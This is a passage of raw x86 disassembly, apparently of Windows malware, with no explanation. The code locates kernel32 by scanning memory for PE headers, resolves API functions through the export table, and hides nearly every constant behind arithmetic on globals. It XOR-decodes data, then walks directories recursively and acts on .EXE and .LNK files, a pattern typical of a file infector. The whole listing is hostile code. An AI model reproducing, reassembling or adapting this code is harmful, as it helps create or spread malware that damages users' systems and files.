		push	eax
		call	ds:dword_54EA78
		movsx	eax, word_551190
		movzx	edx, [ebp+var_24E]
		movzx	ecx, [ebp+var_250]
		mov	esi, dword_551134
		add	esi, 3Ah
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_252]
		mov	esi, dword_55117C
		add	esi, 0Dh
		add	esi, dword_551170
		imul	ecx, esi
		movsx	esi, word_5511C4
		mov	edi, dword_551234
		lea	esi, [esi+edi+2Ch]
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_256]
		mov	esi, dword_5510F0
		add	esi, 18h
		add	esi, dword_551158
		imul	ecx, esi
		mov	esi, eax
		add	esi, 10h
		imul	ecx, esi
		mov	esi, dword_5511F8
		add	esi, 34h
		add	esi, dword_551200
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_258]
		mov	esi, dword_5511B8
		add	esi, 4
		add	esi, dword_551184
		imul	ecx, esi
		mov	esi, dword_551220
		add	esi, 1Ah
		movsx	edi, word_5510F4
		add	esi, edi
		imul	ecx, esi
		movsx	esi, word_5510C4
		lea	eax, [eax+esi+0Ah]
		imul	ecx, eax
		mov	eax, dword_55123C
		add	eax, 34h
		add	eax, dword_5511A0
		imul	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	[ebp+var_25C], eax
		mov	edx, ds:dword_448030
		cmp	eax, edx
		ja	loc_43FE1D
		sub	edx, eax
		mov	eax, dword_5510D4
		add	eax, 8
		movsx	ecx, word_5511E8
		add	eax, ecx
		cmp	edx, eax
		jnb	loc_43FE1D
		mov	eax, dword_5511BC
		add	eax, 9Eh
		cmp	[ebp+arg_24], eax
		jz	short loc_43FD42
		push	0
		push	[ebp+arg_0]
		call	sub_446250
		add	esp, 8
		jmp	loc_43FE1D
; ---------------------------------------------------------------------------


loc_43FD42:				; CODE XREF: sub_43FB03+22Bj
		push	1
		push	[ebp+arg_0]
		call	sub_446250
		add	esp, 8
		jmp	loc_43FE1D
; ---------------------------------------------------------------------------


loc_43FD54:				; CODE XREF: sub_43FB03+62j
		cmp	[ebp+var_112], 2Eh
		jz	loc_43FE19
		push	offset word_551EA6
		call	sub_43CAF7
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50E928
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43FB03
		add	esp, 158h
		jmp	short loc_43FE19
; ---------------------------------------------------------------------------


loc_43FDAD:				; CODE XREF: sub_43FB03+318j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	ds:dword_449FC8
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_43FE1D
		cmp	[ebp+var_112], 2Eh
		jz	short loc_43FE19
		push	offset byte_551E9D
		call	sub_43CAF7
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50E928
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43FB03
		add	esp, 158h


loc_43FE19:				; CODE XREF: sub_43FB03+258j
					; sub_43FB03+2A8j ...
		or	ebx, ebx
		jnz	short loc_43FDAD


loc_43FE1D:				; CODE XREF: sub_43FB03+93j
					; sub_43FB03+A6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43FB03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FE22	proc near		; CODE XREF: sub_43D535+164p
					; sub_43DA83+40p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_551170
		sub	eax, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43FE3E:				; CODE XREF: sub_43FE22+21j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43FE3E
		mov	esi, eax
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax]
		or	eax, 0FFFFFFFFh


loc_43FE4F:				; CODE XREF: sub_43FE22+32j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43FE4F
		mov	[ebp+var_C], eax
		mov	eax, dword_5511AC
		sub	eax, 2
		mov	[ebp+var_4], eax
		jmp	short loc_43FEB3
; ---------------------------------------------------------------------------


loc_43FE66:				; CODE XREF: sub_43FE22+97j
		mov	ebx, dword_551130
		dec	ebx
		mov	eax, dword_5510B0
		mov	edi, eax
		add	edi, dword_55117C
		sub	edi, 0Ch
		jmp	short loc_43FEAC
; ---------------------------------------------------------------------------


loc_43FE7F:				; CODE XREF: sub_43FE22+8Cj
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+edi]
		cmp	eax, edx
		jnz	short loc_43FEB0
		inc	ebx
		cmp	ebx, esi
		jnz	short loc_43FEAB
		inc	[ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jnz	short loc_43FEAB
		mov	eax, [ebp+var_4]
		jmp	short loc_43FEC0
; ---------------------------------------------------------------------------


loc_43FEAB:				; CODE XREF: sub_43FE22+77j
					; sub_43FE22+82j
		inc	edi


loc_43FEAC:				; CODE XREF: sub_43FE22+5Bj
		cmp	edi, esi
		jb	short loc_43FE7F


loc_43FEB0:				; CODE XREF: sub_43FE22+72j
		inc	[ebp+var_4]


loc_43FEB3:				; CODE XREF: sub_43FE22+42j
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	short loc_43FE66
		mov	eax, 0FFFFh


loc_43FEC0:				; CODE XREF: sub_43FE22+87j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43FE22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FEC5	proc near		; CODE XREF: sub_442B82+294p
					; sub_443F06+15p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_551250, 0
		jnz	short loc_43FEED
		push	offset dword_550050
		call	ds:dword_449FCC
		mov	dword_551250, 1


loc_43FEED:				; CODE XREF: sub_43FEC5+11j
		mov	esi, dword_55112C
		add	esi, dword_5511E0
		sub	esi, 6
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+2]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		mov	edx, dword_5511C0
		inc	edx
		imul	ebx, edx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, dword_5511FC
		add	edx, 5
		add	edx, dword_551130
		cmp	eax, edx
		jz	loc_43FFB9
		push	offset dword_550050
		call	ds:dword_54E95C
		mov	eax, dword_551134
		add	eax, 4
		mov	[ebp+var_2], ax
		jmp	short loc_43FF74
; ---------------------------------------------------------------------------


loc_43FF52:				; CODE XREF: sub_43FEC5+B9j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+4]
		xor	edx, ecx
		mov	[eax], dl
		movzx	eax, [ebp+var_2]
		mov	edx, dword_551114
		inc	edx
		add	eax, edx
		mov	[ebp+var_2], ax


loc_43FF74:				; CODE XREF: sub_43FEC5+8Bj
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_43FF52
		mov	eax, dword_551114
		dec	eax
		mov	edx, dword_5511F4
		add	edx, dword_55122C
		sub	edx, 10h
		mov	[edi+eax], dl
		movsx	eax, word_551144
		sub	eax, 2
		mov	edx, dword_551178
		sub	edx, 9
		mov	[edi+eax], dl
		push	offset dword_550050
		call	ds:dword_4CD940


loc_43FFB9:				; CODE XREF: sub_43FEC5+6Ej
		lea	eax, [edi+6]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43FEC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FFC1	proc near		; CODE XREF: sub_43D76D+218p

var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_281		= byte ptr -281h
var_267		= byte ptr -267h
var_252		= byte ptr -252h
var_245		= byte ptr -245h
var_230		= dword	ptr -230h
var_22A		= byte ptr -22Ah
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= byte ptr -220h
var_21F		= byte ptr -21Fh
var_215		= byte ptr -215h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_FE		= byte ptr -0FEh
var_FD		= byte ptr -0FDh
var_FC		= byte ptr -0FCh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		movsx	esi, word_551138
		movsx	edx, word_5510FC
		lea	ecx, [esi+edx+0Bh]
		shr	edi, cl
		movsx	esi, word_5510C4
		mov	edx, dword_5511EC
		lea	esi, [esi+edx+7]
		mov	ecx, esi
		mov	ebx, edi
		shl	ebx, cl


loc_43FFFB:				; CODE XREF: sub_43FFC1+55j
					; sub_43FFC1+9Bj ...
		mov	[ebp+var_114], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_440018
		mov	eax, dword_551154
		add	eax, 0FFF8h
		sub	ebx, eax
		jmp	short loc_43FFFB
; ---------------------------------------------------------------------------


loc_440018:				; CODE XREF: sub_43FFC1+47j
		mov	eax, dword_5510F0
		add	eax, 33h
		movsx	edx, word_5510D0
		add	eax, edx
		mov	edx, ebx
		add	edx, eax
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_118], edx
		mov	eax, [ebp+arg_0]
		cmp	edx, eax
		jbe	short loc_44005E
		movsx	eax, word_551198
		mov	edx, dword_55119C
		lea	eax, [eax+edx+0FFFBh]
		sub	ebx, eax
		jmp	short loc_43FFFB
; ---------------------------------------------------------------------------


loc_44005E:				; CODE XREF: sub_43FFC1+83j
		mov	eax, [ebp+var_118]
		mov	[ebp+var_11C], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_440085
		mov	eax, dword_551214
		add	eax, 0FFFDh
		sub	ebx, eax
		jmp	loc_43FFFB
; ---------------------------------------------------------------------------


loc_440085:				; CODE XREF: sub_43FFC1+B1j
		mov	eax, [ebp+var_11C]
		mov	eax, [eax+78h]
		mov	[ebp+var_120], eax
		mov	ecx, ebx
		add	ecx, eax
		mov	[ebp+var_110], ecx
		mov	eax, ecx
		mov	edx, ebx
		add	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+var_103]
		push	eax
		call	sub_4475D4
		mov	eax, dword_5511F8
		sub	eax, 3
		mov	[ebp+var_4], eax
		jmp	short loc_4400E1
; ---------------------------------------------------------------------------


loc_4400BF:				; CODE XREF: sub_43FFC1+13Fj
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_103]
		cmp	al, 61h
		jle	short loc_4400DE
		cmp	al, 7Ah
		jge	short loc_4400DE
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_103]
		sub	byte ptr [eax],	20h


loc_4400DE:				; CODE XREF: sub_43FFC1+10Aj
					; sub_43FFC1+10Ej
		inc	[ebp+var_4]


loc_4400E1:				; CODE XREF: sub_43FFC1+FCj
		mov	eax, [ebp+var_4]
		movsx	eax, [ebp+eax+var_103]
		mov	edx, dword_551108
		movsx	ecx, word_5510CC
		add	edx, ecx
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_4400BF
		cmp	[ebp+var_101], 52h
		jz	short loc_44013C
		cmp	[ebp+var_FD], 33h
		jz	short loc_44013C
		cmp	[ebp+var_102], 45h
		jz	short loc_44013C
		cmp	[ebp+var_FE], 4Ch
		jz	short loc_44013C
		cmp	[ebp+var_103], 4Bh
		jz	short loc_44013C
		cmp	[ebp+var_FC], 32h
		jnz	loc_44035F


loc_44013C:				; CODE XREF: sub_43FFC1+148j
					; sub_43FFC1+151j ...
		mov	eax, dword_551158
		sub	eax, 3
		mov	[ebp+var_108], eax
		jmp	loc_44034A
; ---------------------------------------------------------------------------


loc_44014F:				; CODE XREF: sub_43FFC1+398j
		mov	eax, [ebp+var_108]
		mov	ecx, dword_551168
		add	ecx, 2
		mul	ecx
		mov	[ebp+var_228], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+20h]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_224], edx
		push	edx
		lea	eax, [ebp+var_21F]
		push	eax
		call	sub_4475D4
		mov	eax, dword_5511E0
		cmp	[ebp+eax+var_220], 50h
		jnz	loc_440344
		mov	eax, dword_551160
		cmp	byte ptr [ebp+eax+var_224], 74h
		jnz	loc_440344
		mov	eax, dword_55124C
		mov	edx, eax
		add	edx, eax
		cmp	[ebp+edx+var_22A], 41h
		jnz	loc_440344
		mov	eax, dword_55119C
		add	eax, dword_5510B0
		cmp	byte ptr [ebp+eax+var_228], 47h
		jnz	loc_440344
		movsx	eax, word_5510FC
		add	eax, dword_5511D8
		cmp	[ebp+eax+var_21F], 63h
		jnz	loc_440344
		movsx	eax, word_551218
		cmp	[ebp+eax+var_215], 72h
		jnz	loc_440344
		mov	eax, [ebp+var_108]
		mov	ecx, dword_551214
		movsx	esi, word_5510B4
		add	ecx, esi
		sub	ecx, 6
		mul	ecx
		mov	[ebp+var_288], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+24h]
		mov	[ebp+var_114], edx
		movzx	eax, word ptr [edx]
		mov	[ebp-22Ch], eax
		mov	ecx, dword_55112C
		sub	ecx, 4
		mul	ecx
		mov	[ebp+var_28C], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+1Ch]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_230], edx
		lea	edi, [ebp+var_245]
		lea	esi, aLeavecriticals ; "LeaveCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	edi, [ebp+var_252]
		lea	esi, aCreatethread ; "CreateThread"
		mov	ecx, 0Dh
		rep movsb
		mov	dword_551254, ebx
		mov	eax, [ebp+var_230]
		mov	ds:dword_44B1AC, eax
		lea	edi, [ebp+var_267]
		lea	esi, aEntercriticals ; "EnterCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	edi, [ebp+var_281]
		lea	esi, aInitializecrit ; "InitializeCriticalSection"
		mov	ecx, 0Dh
		rep movsw
		lea	eax, [ebp+var_245]
		push	eax
		push	dword_551254
		call	ds:dword_44B1AC
		mov	ds:dword_4CD940, eax
		lea	eax, [ebp+var_281]
		push	eax
		push	dword_551254
		call	ds:dword_44B1AC
		mov	ds:dword_449FCC, eax
		lea	eax, [ebp+var_252]
		push	eax
		push	dword_551254
		call	ds:dword_44B1AC
		mov	ds:dword_54FF20, eax
		lea	eax, [ebp+var_267]
		push	eax
		push	dword_551254
		call	ds:dword_44B1AC
		mov	ds:dword_54E95C, eax
		jmp	short loc_44035F
; ---------------------------------------------------------------------------


loc_440344:				; CODE XREF: sub_43FFC1+1DEj
					; sub_43FFC1+1F1j ...
		inc	[ebp+var_108]


loc_44034A:				; CODE XREF: sub_43FFC1+189j
		mov	eax, [ebp+var_110]
		mov	eax, [eax+18h]
		cmp	[ebp+var_108], eax
		jb	loc_44014F


loc_44035F:				; CODE XREF: sub_43FFC1+175j
					; sub_43FFC1+381j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43FFC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440364	proc near		; CODE XREF: sub_446839+211p

var_30037	= byte ptr -30037h
var_20038	= dword	ptr -20038h
var_20034	= dword	ptr -20034h
var_20030	= dword	ptr -20030h
var_2002C	= dword	ptr -2002Ch
var_20028	= dword	ptr -20028h
var_20024	= dword	ptr -20024h
var_20020	= byte ptr -20020h
var_2001C	= dword	ptr -2001Ch
var_20018	= dword	ptr -20018h
var_20014	= dword	ptr -20014h
var_20010	= dword	ptr -20010h
var_2000C	= dword	ptr -2000Ch
var_20008	= dword	ptr -20008h
var_20004	= dword	ptr -20004h
var_1FFFE	= byte ptr -1FFFEh
var_1FFFD	= byte ptr -1FFFDh
var_1FFFB	= byte ptr -1FFFBh
var_1FFFA	= byte ptr -1FFFAh
var_10004	= byte ptr -10004h
var_10002	= byte ptr -10002h
var_FFFF	= byte ptr -0FFFFh
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 30038h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20018]
		push	eax
		mov	eax, dword_55114C
		add	eax, dword_551110
		sub	eax, 0Bh
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, dword_55111C
		sub	eax, 2
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+54h]
		mov	edi, eax
		mov	eax, dword_5511DC
		add	eax, dword_5511D4
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_440775


loc_4403BC:				; CODE XREF: sub_440364+3F0j
		mov	eax, dword_5510B8
		add	eax, dword_5511FC
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_20024]
		push	eax
		movsx	eax, word_5511F0
		sub	eax, 5
		push	eax
		mov	eax, [ebp+var_20018]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	edi, eax
		movsx	eax, word_551208
		movsx	edx, word_5510C4
		add	eax, edx
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_440759
		mov	esi, dword_551110
		sub	esi, 9
		lea	eax, [ebp+var_1FFFE]
		push	eax
		push	[ebp+var_20024]
		call	sub_43DBFE
		add	esp, 8
		and	[ebp+var_20004], 0
		mov	eax, dword_55124C
		add	eax, dword_551160
		sub	eax, 10h
		mov	[ebp+var_20028], eax
		mov	[ebp+var_20014], 10h
		movsx	eax, word_5510CC
		add	eax, dword_551174
		sub	eax, 8
		mov	[ebp+var_20008], eax
		movsx	eax, word_5511A8
		mov	[ebp+var_2000C], eax
		mov	[ebp+var_20010], 2
		mov	eax, dword_5510C0
		add	eax, dword_55123C
		sub	eax, 2
		push	eax
		lea	eax, [ebp+var_20014]
		push	eax
		lea	eax, [ebp+var_20004]
		push	eax
		lea	eax, [ebp+var_20028]
		push	eax
		push	[ebp+var_20024]
		lea	eax, [ebp+arg_14]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, dword_5510C8
		add	eax, dword_551150
		sub	eax, 5
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+44h]
		mov	edi, eax
		mov	eax, dword_5510D8
		movsx	edx, word_5510CC
		add	eax, edx
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_4405FA
		movsx	eax, word_5511C4
		mov	esi, eax
		add	esi, dword_551184
		sub	esi, 0Bh
		cmp	[ebp+var_1FFFE], 44h
		jnz	short loc_4404FF
		cmp	[ebp+var_1FFFD], 50h
		jz	short loc_440504


loc_4404FF:				; CODE XREF: sub_440364+190j
		jmp	loc_4405FA
; ---------------------------------------------------------------------------


loc_440504:				; CODE XREF: sub_440364+199j
		cmp	[ebp+var_1FFFB], 50h
		jnz	short loc_440516
		cmp	[ebp+var_1FFFA], 49h
		jz	short loc_44051B


loc_440516:				; CODE XREF: sub_440364+1A7j
		jmp	loc_4405FA
; ---------------------------------------------------------------------------


loc_44051B:				; CODE XREF: sub_440364+1B0j
		mov	eax, [ebp+var_20004]
		mov	[ebp+var_2002C], eax
		mov	eax, [ebp+var_20028]
		mov	[ebp+var_20030], eax
		lea	eax, [ebp+var_20020]
		push	eax
		mov	eax, dword_5511F4
		mov	edx, eax
		add	edx, dword_551184
		sub	edx, 0Dh
		push	edx
		mov	edx, dword_55114C
		sub	edx, 2
		push	edx
		mov	edx, dword_55110C
		add	edx, eax
		mov	eax, edx
		sub	eax, 0Bh
		push	eax
		movsx	eax, word_551210
		add	eax, dword_5511F8
		sub	eax, 8
		push	eax
		mov	eax, dword_5510EC
		dec	eax
		push	eax
		lea	eax, [ebp+var_20030]
		push	eax
		call	ds:dword_448028
		mov	[ebp+var_20034], eax
		mov	ecx, dword_5510E4
		add	ecx, dword_551188
		sub	ecx, 0Ah
		cmp	eax, ecx
		jnz	short loc_4405B8
		movsx	eax, word_5510FC
		movsx	edx, word_55109C
		mov	esi, eax
		add	esi, edx
		sub	esi, 8
		jmp	short loc_4405FA
; ---------------------------------------------------------------------------


loc_4405B8:				; CODE XREF: sub_440364+23Bj
		movsx	eax, word_551104
		mov	esi, eax
		add	esi, dword_55120C
		sub	esi, 2
		lea	eax, [ebp+var_30037]
		push	eax
		push	[ebp+var_2001C]
		call	sub_43DBFE
		add	esp, 8
		movsx	eax, word_551218
		cmp	[ebp+var_2001C], eax
		jz	short loc_4405FA
		push	[ebp+var_2001C]
		call	ds:dword_44B5CC


loc_4405FA:				; CODE XREF: sub_440364+171j
					; sub_440364:loc_4404FFj ...
		mov	eax, dword_5510D4
		mov	edx, dword_551130
		add	edx, dword_5511A0
		sub	edx, 9
		mov	[ebp+eax+var_10002], dl
		mov	[ebp+eax+var_10004], 50h
		mov	eax, dword_551248
		mov	[ebp+eax+var_10002], 7Ch
		push	[ebp+arg_24]
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_44802C
		push	offset dword_551E98
		call	sub_43CAF7
		push	eax
		lea	ebx, [ebp+var_FFFF]
		push	ebx
		call	ds:dword_44802C
		push	offset byte_551E7B
		call	sub_43CAF7
		mov	ebx, dword_55124C
		sub	ebx, 8
		push	ebx
		push	eax
		push	[ebp+arg_24]
		call	sub_43FE22
		add	esp, 24h
		movsx	edx, word_5511F0
		add	edx, 0FFF9h
		cmp	eax, edx
		jz	short loc_44069B
		lea	eax, [ebp+var_1FFFE]
		push	eax
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	sub_44181A
		add	esp, 8
		jmp	short loc_4406CA
; ---------------------------------------------------------------------------


loc_44069B:				; CODE XREF: sub_440364+31Dj
		lea	eax, [ebp+var_1FFFE]
		push	eax
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_44802C
		push	offset word_551E76
		call	sub_43CAF7
		push	eax
		lea	ebx, [ebp+var_FFFF]
		push	ebx
		call	ds:dword_44802C
		add	esp, 14h


loc_4406CA:				; CODE XREF: sub_440364+335j
		mov	eax, dword_5511D0
		add	eax, dword_5511F4
		sub	eax, 0Fh
		cmp	esi, eax
		jnz	short loc_4406EA
		mov	eax, [ebp+var_20004]
		mov	[ebp+var_20038], eax
		jmp	short loc_4406F6
; ---------------------------------------------------------------------------


loc_4406EA:				; CODE XREF: sub_440364+376j
		lea	eax, [ebp+var_30037]
		mov	[ebp+var_20038], eax


loc_4406F6:				; CODE XREF: sub_440364+384j
		push	[ebp+var_20038]
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_44802C
		push	offset byte_551E71
		call	sub_43CAF7
		push	eax
		lea	ebx, [ebp+var_FFFF]
		push	ebx
		call	ds:dword_44802C
		add	esp, 14h
		mov	eax, dword_55122C
		add	eax, dword_5510B0
		sub	eax, 0Ch
		cmp	[ebp+var_20004], eax
		jz	short loc_440746
		push	[ebp+var_20004]
		call	ds:dword_48C1EC


loc_440746:				; CODE XREF: sub_440364+3D4j
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_48C1E0
		pop	ecx
		jmp	loc_4403BC
; ---------------------------------------------------------------------------


loc_440759:				; CODE XREF: sub_440364+9Cj
		movsx	eax, word_5510CC
		dec	eax
		cmp	[ebp+var_20018], eax
		jz	short loc_440775
		mov	eax, [ebp+var_20018]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_440775:				; CODE XREF: sub_440364+52j
					; sub_440364+403j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440364	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44077A	proc near		; CODE XREF: sub_43DE1F+3Ep
					; sub_44077A+21Fp ...

var_259		= byte ptr -259h
var_258		= byte ptr -258h
var_257		= byte ptr -257h
var_256		= byte ptr -256h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+arg_8], 0
		jz	short loc_4407A8
		mov	eax, dword_55115C
		add	eax, dword_551130
		sub	eax, 5
		mov	[ebp+var_248], eax
		jmp	loc_44082E
; ---------------------------------------------------------------------------


loc_4407A8:				; CODE XREF: sub_44077A+13j
		mov	edx, [ebp+arg_4]
		movsx	ecx, word_5510F8
		sub	ecx, 5
		cmp	ds:dword_44B5E0[edx*4],	ecx
		jnz	short loc_4407DA
		push	esi
		call	ds:dword_44B5BC
		mov	eax, dword_5511EC
		add	eax, dword_551134
		sub	eax, 4
		push	eax
		call	ds:dword_54E960


loc_4407DA:				; CODE XREF: sub_44077A+42j
		mov	eax, dword_55110C
		add	eax, 62h
		mov	[ebp+var_248], eax
		push	offset byte_551E69
		call	sub_43CAF7
		push	[ebp+arg_4]
		push	eax
		lea	edx, [ebp+var_256]
		push	edx
		call	ds:dword_50E928
		add	esp, 10h
		lea	eax, [ebp+var_256]
		push	eax
		call	ds:dword_54E964
		cmp	eax, 3
		jnz	short loc_44082E
		mov	eax, dword_5510D8
		add	eax, 122h
		add	eax, dword_5511D8
		mov	[ebp+var_248], eax


loc_44082E:				; CODE XREF: sub_44077A+29j
					; sub_44077A+9Cj
		xor	edi, edi
		inc	edi
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_440836:				; CODE XREF: sub_44077A+C1j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440836
		mov	[ebp+var_24C], eax
		push	offset word_551E62
		call	sub_43CAF7
		add	esp, 4
		push	ebx
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_50E928
		add	esp, 0Ch
		mov	eax, [ebp+var_24C]
		movsx	edx, word_551240
		add	edx, dword_55111C
		sub	edx, 5
		sub	eax, edx
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	loc_44092F
		mov	eax, [ebp+var_24C]
		sub	eax, 4
		movsx	eax, byte ptr [ebx+eax]
		push	eax
		call	ds:dword_44803C
		add	esp, 4
		mov	edx, eax
		mov	[ebp+var_257], dl
		mov	eax, [ebp+var_24C]
		sub	eax, 2
		movsx	eax, byte ptr [ebx+eax]
		push	eax
		call	ds:dword_44803C
		add	esp, 4
		mov	edx, eax
		mov	[ebp+var_258], dl
		mov	eax, [ebp+var_24C]
		sub	eax, 3
		movsx	eax, byte ptr [ebx+eax]
		push	eax
		call	ds:dword_44803C
		add	esp, 4
		mov	edx, eax
		mov	[ebp+var_259], dl
		cmp	[ebp+var_257], 4Ch
		jnz	short loc_440905
		cmp	[ebp+var_259], 4Eh
		jnz	short loc_440905
		cmp	[ebp+var_258], 4Bh
		jnz	short loc_440905
		push	ebx
		call	sub_43CDF1
		add	esp, 4


loc_440905:				; CODE XREF: sub_44077A+16Ej
					; sub_44077A+177j ...
		cmp	[ebp+var_257], 45h
		jnz	short loc_44092F
		cmp	[ebp+var_259], 58h
		jnz	short loc_44092F
		cmp	[ebp+var_258], 45h
		jnz	short loc_44092F
		push	[ebp+var_248]
		push	ebx
		call	sub_43CBE6
		add	esp, 8


loc_44092F:				; CODE XREF: sub_44077A+104j
					; sub_44077A+192j ...
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_4CC228
		mov	esi, eax
		movsx	eax, word_5511A8
		add	eax, dword_55120C
		sub	eax, 3
		neg	eax
		cmp	esi, eax
		jz	loc_440A16
		cmp	[ebp+var_112], 2Eh
		jz	loc_440A12
		push	offset byte_551E59
		call	sub_43CAF7
		lea	edx, [ebp+var_112]
		push	edx
		push	ebx
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_50E928
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_44077A
		add	esp, 20h
		jmp	short loc_440A12
